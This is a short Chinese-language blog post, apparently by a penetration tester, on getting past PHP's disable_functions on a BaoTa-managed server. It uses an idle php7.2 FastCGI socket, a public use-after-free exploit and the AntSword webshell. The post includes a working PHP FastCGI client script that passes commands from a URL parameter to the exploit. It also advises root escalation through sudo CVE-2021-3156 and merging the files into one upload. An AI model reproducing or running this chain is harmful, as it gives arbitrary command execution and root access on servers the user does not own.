TL;DR 本文通过调用 php7 的 CGI 接口配合 UAF 进行命令执行,从而提权

宝塔默认有一堆 disable_functions,非常的安全,但是如果是 php7 就可以用现成的 UAF 漏洞进行命令执行(https://github.com/mm0r1/exploits/blob/master/php7-backtrace-bypass/exploit.php

PHP Version 5.6.40

disable_functions:

passthru,exec,system,putenv,chroot,chgrp,chown,shell_exec,popen,proc_open,pcntl_exec,ini_alter,ini_restore,dl,openlog,syslog,readlink,symlink,popepassthru,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,imap_open,apache_setenv

用蚁剑看 /tmp 有 php-cgi-71.sockphp-cgi-72.sock,这个机子上安装有 php7.2,就是没有启用。

先下载这个文件 https://github.com/adoy/PHP-FastCGI-Client/blob/master/src/Adoy/FastCGI/Client.php

再下载执行命令的脚本 exploit.php,把 pwn("uname -a") 改成 pwn(file_get_contents("php://input"))

再创建和 php7.2 交互的脚本:

<?php
require 'Client.php';
use Adoy\FastCGI\Client;

$client = new Client('unix:///tmp/php-cgi-72.sock', -1);
$content = $_GET['cmd'];
echo $client->request(
        array(
                'GATEWAY_INTERFACE' => 'FastCGI/1.0',
                'REQUEST_METHOD' => 'POST',
                'SCRIPT_FILENAME' => '/www/wwwroot/此处省略/exploit.php',
                'SERVER_SOFTWARE' => 'php/fcgiclient',
                'REMOTE_ADDR' => '127.0.0.1',
                'REMOTE_PORT' => '9985',
                'SERVER_ADDR' => '127.0.0.1',
                'SERVER_PORT' => '80',
                'SERVER_NAME' => 'mag-tured',
                'SERVER_PROTOCOL' => 'HTTP/1.1',
                'CONTENT_TYPE' => 'application/x-www-form-urlencoded',
                'CONTENT_LENGTH' => strlen($content)
        ),
        $content
);

唯一要改的就是 SCRIPT_FILENAME 改成文件绝对路径。

通过 run.php?cmd= 进行命令执行。提权就执行 sudo CVE-2021-3156

如果你觉得上传三个文件有点麻烦,也可以把它们缝合到同一个文件里。

注:有个项目 https://github.com/wofeiwo/webcgi-exploits/blob/master/php/Fastcgi/php-fastcgi-remote-exploit.md,但是 disable_functions 是不能在除了 php.ini 的地方设置的,设置了也没有效果,该不能运行还是不能运行。